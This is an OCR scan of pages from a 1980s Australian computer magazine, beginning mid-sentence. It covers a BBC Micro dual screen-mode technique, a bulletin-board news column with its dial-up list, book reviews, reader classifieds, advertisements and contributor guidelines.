ity to switch between a variety of input and 
Output streams, you can also use Ozmon 
to directly access disks, byte by byte. Un- 
like a lot of software these days, Ozmon 
‘follows the rules’ and is compatible with 
networks and second processors. 

The documentation (22 A4 pages) is like 
the software it supports: complete, un- 

adorned and very usable. Ozmon is avail- 

able from GJ Armitage, 8 Menzies Parade, 
Lalor 3075, for $49 including postage. 

Schizophrenia 

Only a week after receiving Ozmon for re- 
view, another letter arrived from the same 
address giving details of how to obtain two 
screen modes simultaneously. Before you 
dismiss this as another example of 
obscure but pointless fiddling, take a look 
at the screen of Elite. You will find the 
graphics (top half of the screen) are in 
mode 5 with four colours, but the lower 
half displays two-colour, mode 4 text. 
Why? Try reading mode 5 characters! 

Having noticed this when first playing 
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the game | was content to think that yes, 
one day | must look into this, but never 
dared begin. Not so Gj. “I knew it was not 
an easy thing to do,” he wrote, “so I im- 
mediately set about finding how to do it.” 

Okay folks, reach for your Advanced User 
Guide (especially pages 377 to 383), havea 
couple of headache tablets ready and send 
everyone out of the house for the rest of 
the day. GJ writes, “The screen mode is 
essentially controlled by the video ULA. 
What this program does is to toggle this 
ULA between two modes that have the 
same CRTC settings, in sync with the CRTC 
vertical blanking interrupt. (CRTC settings 
are the same in modes 0, | and 2, and in 
modes 4 and 5) Upon receipt of a vertical 
sync interrupt, the ULA register (GFE20) is 
loaded with data for the mode you want at 
the top of the screen (line 300) and the 
palette is adjusted accordingly (line 320). 

“Timer 2 of the User VIA is then reset to 
cause an interrupt after ‘delay’ mic- 
roseconds (lines 110, 430, 440 and 450). 
After ‘delay’ microseconds the Timer 2 in- 
terrupt causes data for the bottom mode 
to be loaded into the ULA (line 390) and 
the palette is readjusted (line 320). This 

sequence is repeated 50 times a second. 
“The value of ‘delay’ determines how far 

from the top of the screen the bottom 
mode actually begins The longer the de- 
lay, the smaller the bottom region be- 
comes. 

‘Thus it becomes possible to write a 
graphics adventure with mode 8, 16-colour 
graphics (see page 383 of the Advanced 
User Guide) at the bottom and mode 4 text 
at the top, using only 10 Kbytes of memory 
for the whole screen (Use &E0 as the ULA 
register setting and ‘L.DA#%32:JSR palette’ 
to set a 16-colour palette )” 

Yes, there is a catch! Since different 
modes require pixel data in different for- 
mats the operating system can’t print and 
draw on both parts of the screen, so you'll 
have to write your own screen handling 
routines for one half Ifyou type in MODE 
4:RUN after entering the program as listed, 
try LISTing it to see what happens. The text 
in the mode 4 section is readable, but not 
in the other half. After pressing CTRL and 
BREAK and entering OLD, try MODE 
5:RUN and LIST it again. The operating 
system will cope with whatever mode it 
was in, but not the other half. 

I'm hoping GJ will provide us with some 
advice on writing routines to handle the 
“other half” of the screen in the near future. 
Don’t forget those headache pills .. O 
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PAMS NEWS 
BY BILL BOLTON 

More New Brisbane Systems 

Brisbane seems to be the place for new PAMS systems at the 
moment: after last month's batch there are three extra Brisbane 
systems to add to the list. The Brisbane Microbee User Group has 
an RCPM system running on a Sorcerer (!) for its new 24-hour 
system. The system was only supporting a BBS service when it first 
went online, but should have further RCPM facilities available by 
the time you read this. Unfortunately, it is ona very ‘noisy’ exchange 
and many users have reported difficulties in getting clean data 
from the system. John Wain, one of the sysops, told me the Mic- 

robee UG is well aware of the problem and is looking for a new 
home for its RCPM, in an area with a better telephone exchange. 

The Brisbane ACEA Commodore BBS system is online for testing 
ona 24-hour basis. This is a message-only system at present. Some 

months ago | reported that the Brisbane Experimental RCPM had 
pulled up stakes and was moving to Alice Springs. The original BEX 
system is due to to come back to life soon in the Alice, but a BEX II 
has risen in Brisbane. Rick Dalley has the BEX II online 24 hours a 
day. He’s written a new TurboBBS message system in Turbo Pascal 
and wants to stress the experimental programming nature of the 
BEX board. 

Sydney and Melbourne 

Meanwhile, further south, Mark James has put the AUGUR (what 
does that stand for?) system online in Sydney on a 24-hour basis. 
Mark’s system is using TBBS software. 

The Western Sydney PC and Compatible User Group is catering 
to the needs of IBM PC users and users of IBM-compatible 
machines who live in the western suburbs of Sydney. Calls from all 
over Australia are welcomed on the group's bulletin board, which is 
called ABCOM-IBBS047. Another unsleeping system (24 hours), 
ABCOM is run by Ben Sharif. 

In Melbourne, Peter Hallgarten also has his AM-NET system 
online 24 hours a day. The AM-NET system has a strong emphasis 
on amateur radio matters and Peter hopes to have a digital packet 
radio link available for accessing the AM-NET system before too 
long. 

Also new in Melbourne is a Microbee PAMS system. Though | 
haven't been able to find out the number as yet, you can probably 
find it in the AUSTPAMS ‘online’ list available on many PAMS 
systems. 

A New Beginning 

The Australian Beginning has been given a new lease of life by a 
new major investor and is back online again with an additional 2 
Mbytes of main memory, which David Lutz assures me will make 
response much faster. The service will be given a new name (prob- 
ably Teledata, which is more in keeping with its intended purpose.) 

David told me they are working hard at implementing both 
Christensen and KERMIT file transfer protocols on the service to 
provide greater flexibility for file transfer. There are more than a few 
traps in attempting to use these protocols over a packet network 
like AUSTPAC, as a feature article I'm writing for next month points 
out, but the addition of standard PC file transfer protocols should 
make Teledata quite an attractive proposition as a ‘store and 
forward’ file and message system. 

The Numbers 

Queensland (EST) 

Brisbane Microbee RCPM (BUB-RCPM) (07) 38-4833 24 hours 

Brisbane Experimental RCPM II (BEX2-RCPM) (07) 395-1809 24 

hours 

Brisbane ACKA Commodore BBS (ACEA-BBS) (07) 341 0285 24 

hours 
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Software Tools RCPM (ST-RCPM) (07) 378 9530 24 hours 
BEX RCPM (BEX-RCPM) (07) 393 3151 24 hours 

Tomorrowland DIRECT (BRIS-TLD) (07) 286 2438 24 hours 

Competron IBBS (COMPT-IBBS) (07) 52 9294 24 hours 

Hi-Tech C BBS (HTC-BBS) (07) 38 6872 24 hours 

Texas Instruments (TI-BBS) (07) 263 6161 2100-0600 weekdays only 

New South Wales (EST) 
AUGUR TBBS (AUGUR-TBBS) (02) 661 4739 24 hours 

ABCOM-IBBS047 (ABCOM-IBBS) (047) 36 4825 24 hours 

Mi-Computer Club BBS (MiCC-BBS) (02) 662 1686 24 hours 
Micro Design Lab RCPM (MDL-RCPM) (02) 663 0151 24 hours 

Sydney Public Access RCPM (SPA-RCPM) (02) 808 3536 24 hours 
Ausborne UG RCPM (AUSBD-RCPM) (02) 95 5377 24 hours 

Tesseract RCPM (TES-RCPM) (02) 651 1404 24 hours 

Sorcerer UG (SUG-RCPM) ‘Ring Back’ (02) 387 4439 1800-0800 

weekdays, 0800-2400 weekends 
Omen RTRS (OM-RTRS) (02) 498 2495 1630-0900 + 24 hours 

weekends 

Sydney TRS-80 UG RTRS (STRUG-RTRS) (02) 332 2494 24 hours 
Prophet BBS (PROPHET-BBS) (02) 628 7030 24 hours 

Dick Smith Electronics (DSE-BBS) (02) 887 2276 24 hours 
Tomorrowland DIRECT (SYD-TLD) (02) 411 2053 24 hours 

Sydney Apple UG (AUG-BBS) (02) 451 6575 24 hours 
Texas Instruments UG (TEXPAC-BBS) (02) 560-0926 1900-0600 + 

24 hours weekends 
Oracle RTRS (ORACLE-RTRS) (02) 960 3641 0-1800 weekdays, 0- 

0800 weekends 

Newcastle Micro RCPM (NMC-RCPM) (049) 68 5385 1700-0830 + 

24 hours weekends 

Victoria (EST) 

AM-NET RCPM (AMNET-RCPM) (03) 366 2055 24 hours 

Melbourne CBBS (MICOM-CBBS) (03) 762 5088 24 hours 

TARDIS RCPM (TARDIS-RCPM) (03) 67 7760 1800-0800 + 24 hours 

weekends 

Sorcerer CUA RCPM (SCUA-RCPM) (03) 434 3529 24 hours 

East Ringwood RCPM (ERING-RCPM) (03) 870 4623 1600-2400 

daily 
PC Connection IBBS (PCC-IBBS) (03) 528 3750 24 hours 

HiSoft IBBS (HISOFT-IBBS) (03) 799 2001 24 hours 

Computers Galore IBBS (CG-IBBS) (03) 561 8479 24 hours 

OMEN IV RTRS (OM4-RTRS) (03) 846 4034 24 hours 

Gippsland RCPM (GL-RCPM) (051) 34 1563 24 hours 

Gippsland MAIL BUS (GL-MBUS) (051) 27 7245 24 hours 

Tasmania (EST) 
Mike Scott's BBS (MS-BBS) (003) 34 9411 24 hours 

South Australia (CST) 

Adelaide Micro UG BBS (AMUG-BBS) (08) 271 2043 1000-2200 

Computer Ventures BBS (CV-BBS) (08) 255 9146 24 hours 

Northern Territory (CST) 

OMEN III RTRS (OM3-RTRS) (09) 279 8555 0800-2400 + 24 hours 

weekends 

New Zealand (NZT) 

Outback RCPM (OUTB-RCPM) (089) 27 7111 24 hours 

OMEN II RTRS (OM2-RTRS) (089) 27 4454 24 hours 

Western Australia (WST) 

Attache RBBS (ATT-RBBS) ISD 64 9 78 9084 24 hours, domestic (09) 

76 9084 

Rotorua BBS (ROT-BBS) ISD 64 73 70 154, domestic (073) 70 1540) 
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YOU GET THE LOT 
COMPUTER—SOFTWARE—PRINTER 

* WORD PROCESSING: WORDSTAR 3.3 COMPUTER 
The biggest seller. 2 Double Density Disk Drives 

* FINANCIAL ANALYSIS: SuperCalc Large 80 col Amber 
* ACCOUNTING: MULTILEDGER Screen-inbuilt. 

— Debtors 128K RAM CP/M Plus 
— General Ledger IBM Selectric Style Keyboard 
— Creditors Telecommunications Port 

* DATABASE: Personal Pearl PRINTER >, 
* PROGRAMMING: §M-basic Shade niece - 

Ch aie Wordprocessing Quality , | 

Pascal 

WITH NO HIDDEN EXTRAS 
OVER $2000 WORTH 
OF SOFTWARE FREE 

2999” 
LIMITED OFFER TO JULY 31 
OR UNTIL STOCKS SOLD OUT! 

THE BEST INVESTMENT YOU’II EVER MAKE We 
Full 6 Month Warranty 

AVAILABLE AUSTRALIA-WIDE 

CALL (02) 290-1122 
FOR YOUR NEAREST DEALER 



BY PETER LYNDEN 

| KEAD something recently that made me 
think — not because it was startling or 
even new, but because the words con- 
fronted me in black and white. In his book 
Computers and Young Minds (Datamost, 
paperback, 159 pp, rrp $15.95), Gary Clark 
states: 

“There is a great deal of confusion and 
speculation about the use of computers 
with young children.” 

That short sentence says it all about 
computers, their manufacturers and their 
users today. If you were watching televi- 
sion or reading the papers during the lead- 
up to last Christmas you would have been 
aware of the advertisements imploring 
you, as the consumer, to give your children 
an advantage over the other non-computer 
children in the employment race, or in 
their education. Are people really that 
short-sighted? Do the advertising execu- 
tives really believe that those who haven't 
purchased a home computer yet are that 
naive? 

Perhaps the levelling out (or should we 
say falling off) of sales in the lower or home 
end of the computer retailing business 
calls for scare tactics on the part of the 
manufacturers. Recently, the President of 
the Computer Retailers’ Association, Mr. 
Bernard Kirschner, stated that people were 
not buying to the same degree as they were 
at Christmas 1983. 

You can argue that if you wait before 
buying acomputer prices will fall and basic 
capabilities will increase, but on the past 
development performance of the industry 
you could be waiting forever for the posi- 
tion to stabilise. Meanwhile those who 
have taken the plunge are gaining valuable 
experience as they learn about, and from, 
their machines. Nevertheless, many peo- 
ple are worried by the withdrawal of com- 
panies from the home computer market- 
place: Texas Instruments, Mattel, Spectra- 
Video, and many others have fallen by the 
wayside. 

It seems to me that this only reveals the 
market can’t support so many diverse 
manufacturers at this end of the business. | 
am constantly amazed at those who pre- 
dict the majority of Australian homes will 
have a personal computer (for work, hob- 
by, education or leisure) by the year 1990. 
They must be way off the mark! 

Book Reviews 

Some very good books have recently been 
published on the youth/education theme | 
mentioned above. Gary Clark's Computers 
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and Young Minds has a useful ‘Question & 
Answer’ section at the end of its first two 
chapters, addressing and elaborating 
many of the points | touched on above. 
Another thought-provoking book is Com- 
puting Together — A Parents’ and Teachers’ 

Guide to Using Computers with Young Children, 
by Fred D'Ignazio (Compute Books, paper- 
back, 312 pp, rrp $22.95). 

Whereas the former is a collection of 
edited lectures and discussion sessions, 
Ignazio's book is almost an autobiography. 
Both authors cover the same ground, and 
both do it well in their own style. What 
makes the latter book worth digging deep 
into your pocket for is the genuine warmth, 
wit and knowledge D'lIgnazio imparts. As | 
said, Computing Together is like an auto- 
biography — a couple of years in the life of 
a computing family. Let me quote the 
opening passage from the Foreword: 

"Kids love computers. We've all heard that a 
dozen times. But sometimes adults are more 
hesitant to join the computer revolution. 
Perhaps you feel that way. How can you keep 
up with your children's computer experience, 
and most important, how can you turn compu- 
ter learning into a family affair?” 

If you have any doubts about the value 
of computers, this is the book you should 
read. There are excellent chapters devoted 
to children’s software, acouple on robotics 
and drawing slates such as the Koala Pad 
and the Power Pad, more chapters on Logo 
and computer camps, and some short 
programs to type in for most of the popular 
home computers. As well as all this D'Igna- 
zio discusses such topics as ‘Software, Sex- 
ism, and Other Topics’, ‘Computing to 
Read’, and ‘New Standards for Home 
Learning’, all in his inimitable, down-to- 
earth style. 

Adventuring by Phone 

Personal Telecomputing 
Author: Don Stoner 
Publisher: Compute Books 
Price: $22.95 rrp, paperback, 221 pp 

Linked to the world of adventure is tele- 
computing. In the United States, and toa 
lesser degree here in Australia, many com- 
puter users are playing interactive adven- 

ture games over the telephone. A subscrip- 
tion allows you to join the game and re- 
ceive information and status reports reg- 
ularly. 

Free software is another attraction. The 
ability to download software from club 
bulletin boards is a major reason for pur- 
chasing telecomputing equipment. Ston- 

Your Ti 

er's Personal Telecomputing is a good place to 
start when considering a move into this 
area of computer usage. 

You will need terminal software, a mod- 
em, telephone, and preferably a printer (to 
obtain hard copy) to get started. In some 
instances you may also need to purchase a 
subscription to a bulletin board system 
such as Teledata or MiCC. Quite a few of 
the local computer user groups now have 
their own bulletin boards, such as Apple, 
Texas Instruments, Osborne and Tandy, 
and you can make use of these, too — all 
you need is an appropriate user number 
and password. 

If you decide to become really involved 
in telecomputing (and don’t consider 
money an obstacle), you might like to sub- 
scribe to one of the American systems 
such as CompuServe (write to Com- 
puserve, Customer Information Services, 
PO Box 20212, Columbus, Ohio 43220) or 
the Source (owned by the Reader's Digest 
Association and operated by Source Tele- 
computing Corp, 1616 Anderson Rd., 
McLean, Virginia 22102). Local informa- 
tion and subscription rates for the Source 
are available from Seahorse Computers of 
Camden, NSW. 

All in all, Personal Telecomputing is an ex- 
cellent book for those who are curious, as 
well as for the experienced user. The chap- 
ters on the above-mentioned systems are 
informative and clearly written, while the 
concluding chapters detail terminal prog- 
rams and a simple bulletin board program 
that can be keyed into a Commodore 64, 
allowing callers to read bulletins, leave or 
read messages, log on with a user-name, 
and enter chat-mode with the sysop. 

Book Suppliers 

® Leslie King of Prentice-Hall, Brookvale 

NSW, (02) 939 1333, distributor of Data- 

most, Reston and Prentice-Hall books. 

™ Maureen Murphy and Isabel Scott of 

Holt-Saunders/CBS, Artarmon NSW, 

(02) 439 3633, distributor of Compute 

and Hayden books, as well as CBS Soft- 

ware. 
If you have any questions about these 

books, or would like the latest catalogues, 
I'm sure you'll receive courteous help from 
these people and their companies. 
Another particularly helpful publisher with 
a good supply of educational reading is 
Pitman. If you'd like to inspect the Pitman 
range of books, give the Sydney showroom 
(Level 12, Town Hall House) a call on (02) 
267 1477. CO 



~ READERS’ CLASSIFIEDS 

For Sale 
Amstrad CPC464 quality soft- 
ware: educational, home, small 
business and other software. Eco- 
nomically priced. Contact Cus- 
tom Logic, 5 Lewis Street, 
Mudgee 2850. 

Tl 99/4A Computer 

With games, speech synthesiser, 
joysticks, cassette, extended 
basic manuals and cables. Norm 
S850 sell $650. Phone (067) 
659356 A/H. 

VZ200 Software — Program 
Copier 
Will copy word processor, editor 
assembler, planet patrol, chess, 
tennis and all the other VZ200 
software. Only $10 inc. P+P. Send 
cheque or money order to Nick 
Sarafoudis, PO Box 31, Hunting- 
dale 3167. 

Microbee tape copier 
Backup M/C programs at 300 or 
1200, change auto start, modify 
code, remove double headers etc. 
$9.80 incl postage. J Arnold, 36 
Victoria Street, Rooty Hill 2766 
(02)625-8950. 

For Sale 
Oric 1, 48k home computer, new 
condition with manuals, cassette 
player and software. $410. Phone 
Rodney on (067)461 430. 

For Sale 
Verbatim SSDD disks with boxes 
and labels. $200 per 100. Jason 
Faulks, ‘Arranmore’ Manilla 2346 
Phone (067)665211. 

Spectrum 

Joystick interface (Stonechip- 
programmable) — $35 or $40 
with joystick. Also, original soft- 
ware (Full-Throttle, Wheelie and 
so on) — $10 each. Contact lan 
Newman, 97 Springdale Road, 
Killara 2071; or phone (02) 498 
3762. 

For Sale 
System 80 MKI with monitor, 
‘oystick and interface, all books 
and manuals, and 140 programs 
(worth over $1750). All worth 
“2800, sell for $695 ono. Perfect 
lor the beginner. Ross McCrae, 
“teels Creek Road, Steels Creek 
3775. 

Genuine Apple II Europlus 
With disk controller, RAM card, 
colour card, modulator and disk. 
All only $1500. Phone Simon 
Oroscher on (044) 21 6724. 

Melbourne Microbee Users 
Anyone living in Melbourne and 
interested in forming a mail-only 
computer club please write to me 
at 41 Robern Parade, Rosanna 
East 3084. This club will be pub- 
lishing a regular newsletter in- 
cluding any tips that come from 
its members, so the more mem- 
bers, the more information. 

Microbee 
Disk system, for 16 Kbyte or 32 
Kbyte EPROM Bees, with file- 
handling system on disk, BIOS 
and diagnostics in EPROM. Very 
reasonably priced. For more de- 
tails write to PO Box 189, Smith- 
field 5114. 

Microbee: 
Supergolf, Test Cricket, One-day 
International Cricket; $14, $14 
and $16, respectively. All prog- 
rams are on cassette and suitable 
only for Bees of 32 Kbytes and 
over. G Gardoz, | Yarana Drive, Mt 
Helen 3350. 

For Sale: 
Wizardry |, 2, 3 maps — $3 each. 
Clues and maps for most adven- 
ture games, including Infocom 
and On-line — $3 each or any four 
for S10. Phone Tony Davidson 
during business hours on (045) 78 
1927. 

Wanted 
Rockwell AIM65, preferably func- 
tioning. Phone Steve Williams on 
(07) 203 6002 after hours. 

Dick Smith VZ-200 Colour Com- 
puter 
With 24 Kbytes, datasette, 14 
programs, four manuals — in ex- 
cellent condition, only $199. 
Phone 99 2651. 

For Sale 
Amstrad CPC 464 Quality Soft- 
ware Educational — Home, small 
Business and other software. 
Economically priced. Custom 
Logic, 5 Lewis Street, Mudgee 
2850. 

Paper Tamer 
PRINTER 
STANDS © 

2 MODELS 
AVAILABLE 

g 
A4 paper. 

PT2 — Suits all 136 col. Matrix Printers using 380mm 
(15°") wide paper. 

@ “Paper Tamer” saves space and restores order to your desk 
top micro-centre. @ Neatly stores up to 900 sheets con- 
tinuous paper under the printer. @ Allows perfect input 
paper feed and collects out-put efficiently in special tray. @ 
Manufactured from sturdy white colour coated steel rod. 
@® Excellent value for money. 
NEW/ in Australia NOW available direct from Supplier 

Budget Desk 
MOBILE COMPUTER DESK 

Teak-laminated 

bottom shelf 

400mm. Height 
of bottom shelf 
670mm. 

Special Offer 
Save $20 when you order a Budget Desk and Paper Tamer. 

. Computer Accessories 
H | 23/243 Ernest St., Nth Sydney NSW 2060. (02) 

927.34 

| 
Special Offer Desk and PT] 

Budget Desk 
PT! 80 col. suits 210mm (8'4"') paper $49.95 

$59.95 
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PT2 136 col. suits 380mm (15’’) paper 

Adaress 

L_] CHEQUE [-] MONEY ORDER |] BANKCARD 

Mi 9 AR Fs 0 tag se ga 
Signature Expiry Date 
If !am not fully satisfied, | may return goods within 30 Days for full refund 

DEALER ENQUIRIES WELCOME 
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market directory 
DEALERS, distributors, mail-order houses and other commercial organisations or individuals who have a message to spread but don't want to outlay the sums required 
for full-scale advertising can take advantage of our Market Directory — small ads to help those searching for outlets, services and equipment. For details contact Your 
Computer on (02) 663-9999 or write to PO Box 21, Waterloo 2017. 
For 1/12 DISPLAY ADVERTS in the Market Directory (50mm deep x 60mm wide) costs are as follows: 1 insertion $100. 3 insertions $95 ea. 6 insertions $90 ea. 
12 insertions $80 ea. 24 insertions $70 ea. Closing date = 6 weeks prior to publication date. Supply finished artwork —- or copy to Set & Makeup (at $25 extra to 
insertion cost). Payment strictly with copy. Call (02) 663-9999 for your booking NOW. 

SOFTWARE FOR LAP COMPUTERS 

NEC PC-82101A, TANDY Model—100, OLIVETTI M-10 

Integrated software in 32K ROM for NEC PC-8201A 
Spreadsheet, 

Schedule, all in one. 
Database, Word Processing, 

—  MPLAN Spreadsheet 
program — JOURNALIST — Wordstar compatible 

text formatter program. 

Other programs available. 

Call: (02) 670-1610 
SILICON CRAFTS 

THINKING IBM™? 

POOR PERSON SOFTWARE 
OR CP/M 2.2 COMPUTERS 

WRITE-HAND-MAN — Wordprocessing and can’t find a pencil? One 
keystroke opens a window to save notes, edit a ‘phone list, update a 
diary, scan a disk directory or data file. Add YOUR option! 9-page 

manual. Example. Instructions . 5. 
POOR PERSON'S SPREAD SHEET — Easy screen design and versa- 
tile programmable cae Tutorial. One-line help. 28-page manual. 

xamples . . . )$38. 
PLUS POOR PERSON’ 5. LABEL PRINTER, CROSSWORD GAME, 
WINDOW SYSTEM, SPELLING CHECKER, SPOOLER, MENUS, 
KEYED SEQUENTIAL FILES. All in Popular Formats, eg. Kaypro ll, 

Osborne DD, Microbee, 8” SSSD. 

ALSO AVAILABLE 
MEDIA MASTER for IBM-PC + compatible & Rainbow-100 

Fuji Floppy Disks — Full Range — Lifetime Guarantee 
Write for catalogue. Prices include tax. 

GLYPHIC SOFTWARE 
PO. BOX 391 PENNANT HILLS 2120 

TRY VIDEO TECHNOLOGY FOR IBM COMPATIBLE 
PRODUCTS. WE ARE SETTING THE STANDARDS FOR 
QUALITY AND PRICE. WE STOCK COMPLETE XT 
COMPATIBLE UNITS (FROM $2000) AND INDIVIDUAL 
PARTS, i.e. K-BRDS, DISK DRIVES, HARD DISK, RAM 
AND MOST ADD-ON CARDS. WE ALSO SUPPLY 

S.K.D. KITS AND O.E.M. SUPPLIERS. 

Phone: VIDEO TECHNOLOGY 569-3015 
(Computer & Peripheral Product Engineers) 

PAY-PACK 
PAYROLL SYSTEM 
for MS/DOS, CP/M80 

“A cost-effective package written in Australia 
with Australian business in mind.” 

Reviewed: YC March, p.46 

Everybody who has seen PAYPACK has 
rated it the best payroll package on the 

market. 
Contact: Dr Geoffrey Lewis 

CUSTOM-MADE SOFTWARE P/L 
P.O. Box 507, Randwick, 2031(02) 399-8520 

NOTICE TO S-100 USERS 

Unique Australian Dual Mode CPU Board 
Plug GO-88 into your CP/M system: 

* address over a million bytes of memory 
* add powerful 16-bit instruction set 

* coprocessor with existing CPU, or stand-alone 
* memory manager for 16 address-line boards 

* runs CP/M86, MSDOS or UNIX operating systems 
* change operating systems with a single command 
* entire hardware/software investment preserved 

GO-88 with standard monitor & manual 
CPM86 BIOS & utilities for DJ-2D controller 

other BIOS’‘s in preparation 
add 20% sales tax to these prices 

COMPUTER ART 
CMB 59, BABINDA, 4861 (070) 67-4124 
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17-19 Herbert St., DULWICH HILL 2203 

MICROMAS IE fk} SBC $495° 
A new complete single board computer specially 

designed for system integrators. OEMs. 
educators, and hobbyists. 

e Z-80B CPU at 6 MHz 
e 64K RAM 
e Floppy disk controller for both 8° and 5° drives 
@ 2 Serial Ports 
e Centronics printer port 
e Clock calendar 
e Hard disk adapter (optional) 
e DMA controller (optional) 
e Improved CP M compatible op system. 

Available as board only or as complete system. 
e@ Introductory special plus sales tax 

Microtrix Pty. Ltd. 
24 Bridge street, Eltham. 3095 

(03) 439 5155. 

HUGHES PHOTOTYPE 

VZ 300/200 
DISK/TAPES 

Enchanted Princess 10-Pin Bowling 
(Fantasy Adventures) Code Maker-Breaker 
V2 Graphic Golf World Challenge 
Maths Pack Number Challenge 
(includes graphs, Gamblers Pinball 
equation solving, Scissors/Paper/Rock 
integration and Hi-Jinks (dice game) 
much much more) 

OR — The lot on disk for $29.95 
(+ $2.50 Postage & Handling) 

$10.50 for each program on tape 
(+ $2.50 Postage & Handling) 

G. McCleary 
PO Box 24, Emu Plains 2'750 

"commodore 

computer centre 

SERVICE We 26h SALES 

e@ Prompt repairs by friendly experts = 

@ Easy Access = 

@ Plenty of parking —— 
@ Open Saturday mornings 
® Established 1968 

Programs, Printers, Disc Drives, 

Monitors, Plotters, etc. 
Melbourne's largest 

range of Computers, 

TELEPHONE: 419 6811 

OFFICE EQUIPMENT (VIC) PTY. LTD. 
162 — 164 NICHOLSON ST. 

ABBOTSFORD 
Maxwel 

(Near Collingwood Football Ciub) 

RENT IBM SOFTWARE 
$58.05 (B) Sargonill.... $4.50 
$43.65 (B) FlightSIM .... $5.22 
$13.50 (B) Pi $4. aye 
$6.03 (B) Pig Pen $2.61 

Symphony ... 
Lotus 123 
C Compiler ... 
Copywrite 

Join the Down Under Software Rental Library, and 
save on all your IBM SOftware. You pay only 9% of 
the dealer wholesale price. Join the Games Library 
(G) for only $25; join the Business Library (B) for 
$30; or join both for only $35. Start saving now — 
your very first rental (including joining fee) will prob- 
ably be less than buying the equivalent program. 

Down Under Software 
1 Botherambo Street, 

Richmond. Ph.: (03) 429-3216. 

960-2788 

TYPESETTING BY TELEPHONE 

FROM COMPUTERS OR WORD PROCESSORS 
DISK CONVERSIONS 

CHEAPER @ FASTER @® ERROR FREE 

/18A SPIT ROAD, MOSMAN, NSW 2088 



SERVICES 

LETTERS TO THE EDITOR 
We are happy to receive your comments and, 
if they are of interest to other readers, pub- 
lish them. Letters will only be considered for 
publication if they include your name and 
address, although we can withhold such de- 
tails from publishing on request. Note that 
we reserve the right to (and probably will) 
edit all letters for the sake of brevity, clarity 
or accuracy 

SUBSCRIPTIONS 
Standard 19-issue rate within Australia: $27. 
Surface rate for New Zealand and Papua New 
Guinea: $35.60: airmail rate: $47.60. Rates for 
other countries on application. All overseas 
rates quoted are to be paid in Australian 
dollars. Allow up to eight weeks for subscrip- 
tion processing. 

BACK COPIES 
Back copies and single issues are available 
from the publisher's office ($2.95) or by mail 
($3.95). We will supply photostat copies of 
articles where a back issue is not available, 
at the single-magazine price for each feature 
copied. 

READERS' ENQUIRIES 
We will make every effort to answer readers’ 
written enquiries, if accompanied by a 
stamped, self-addressed envelope, although 
staff shortages and deadline pressures may 
cause delays. Please include your telephone 
number(s) with any enquiry. Phone enquiries 
not related to subscriptions, readers’ adver- 
tisements, or other ‘service information’ can- 

not be accepted. 

COPYRIGHT 
All material appearing in Your Computer mag- 
azine is copyright and cannot be reproduced 
in part or in full, by any means, without the 
written permission of the Publisher or Man- 
aging Editor. Computer clubs and schools 
can, however, apply for restricted permanent 
reproduction rights for non-commercial, lim- 
ited-circulation use (for example, newslet- 
ters and class instruction). Given that it 
sometimes takes us a while to answer such 
requests, you can consider that restricted 
permanent rights apply in these cases from 
the day you send in your letter, and will later 
be confirmed (or withdrawn) by our reply. 

LIABILITY 
Although it is policy to check all material 
used in Your Computer for accuracy, useful- 
ness and suitability, no warranty, either ex- 
pressed or implied, is offered for any losses 
due to the use of any material in this maga- 
zine. 

EDITORIAL CONTRIBUTIONS 
Contributions to Your Computer are welcomed 
and will be given every consideration* 
Please read these notes carefully to get an 
idea of the style and format we prefer. 

All Contributions: should include your 
name, address, and home and office phone 

numbers (in case we need to check details). 
Each page of your submission, and any ma- 
terial sent with it, should also carry your 
name. 
Contributions by Telephone: Contribu- 
tors who have modems and suitable software 
(in the MODEM7/YAM mould — see our sto- 
ries on Christensen Protocols in the May and 
June 1983 issues) can arrange direct transfer 

to our computers through our Bulletin Board 
system, which is on-line 24 hours a day, 
seven days a week. Contact our office by 
phone for details on transferring material in 
this way. 
Contributions on Disk: Contributions can 
be accepted in a wide variety of disk formats, 
although some have to be converted outside 
our offices, which will add to the (often 
lengthy) delay between receipt and acknowl- 
edgement. The preferred medium is IBM 
standard format single-sided, single-density, 
20 cm CP/M disks. We can also handle, in- 
office, Kaypro Il and Osborne 13 cm disks, 
and 13 cm Apple DOS or Apple CP/M disks. 
Please pack them extremely carefully if post- 
ing and label all disks with your name, ad- 
dress and phone number. 
Listings: Unless it is absolutely impossible, 
we want listings produced on the computer. 
This reduces the risk of error — if the com- 
puter typed it, the computer probably ac- 
cepted it. Print listings with a dark — prefera- 
bly new — ribbon on white paper, and try to 
format the output to a narrow (40-characters) 
width. If they can't be produced on a printer, 
borrow a good typewriter — hand-written ma- 
terial is likely to sit around the office for a 
year before someone can find time to type it 
all out for you! Please provide an account of 
what the program does, how it works and so 
on. Any comments on the program should 
refer to the address, line number or label 
rather than to a page number. Any comments 
on modifying the program to work on other 
machines will be appreciated. Try to include 
a printout of at least part of a sample run if 
possible. 
Style: All items should be typed (or printed) 
and double-spaced on plain white paper. We 
will only accept original copies — no photo- 
stats. Include your name, address, tele- 
phone number and the date on the first page 
of your manuscript (all manuscript pages 
should have your surname and page number 
in the top right-hand corner). Be clear and 
concise, and keep jargon and adjectives to a 
minimum. 

*Although the greatest care will be exercised 
with contributions, no responsibility can be 
accepted for the safety or return of any let- 
ters, manuscripts, photographs or other ma- 
terials supplied to Your Computer magazine. If 
return is desired, you should include a 
stamped, self-addressed envelope. If return 
is critical — say it’s something you can't afford 
to lose — then don't send it: we are careful 
but we're not perfect. CI 
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OO NEXT MONTH 

COMPUTING ON THE CHEAP 
The August issue of Your Computer will be cheap, cheap, cheap. No, we're 
not going to reduce the price (we're too cheap to do that!), but we are 
going to cover Computing On The Cheap in some detail. For those who 
keep contacting us looking for ways to get into computers without 
breaking the piggy-bank, the August issue will provide some of the 
answers. 

We'll delve into low-cost and no-cost software in several ways: 
first, there'll be part two of Software On The Cheap, which looks at 
packages selling for between $25 and $50 — there's almost 1000 of 
them; then we'll have reviews of cheap games (Cheap Thrills) and 
other low-cost software (maybe even Cheap Quills for the word 

processing fans or Cheap Bills for the accountants?); and finally, 
we'll get to no-cost software with a bumper section of Pocket Prog- 
rams. 

Next up will be cheap hardware, with a look at ways of getting 
computerised for less than $1200: Computing On The Cheap. We'll try 
to answer questions like “Will that $99 computer do anything?” and 
“Can | run my business on an Amstrad or a Sega?”. 

And, for those with more complex requirements, we'll examine 
whether a $10,000 solution really can be had for $5000, or a $5000 
solution for $2000... 

CHEAP, BUT NOT SO NASTY 
We'll dig deeper into the ‘underground’ world of user-group soft- 
ware in August, supplementing IBM Underground with a feature on 
CP/M Public Domain Software. We're trying to get Bill Bolton moving 
on providing a regular column reviewing this ‘freeware’ (he some- 
times needs a little nudging, though not a big kick-start like Bell ...); 
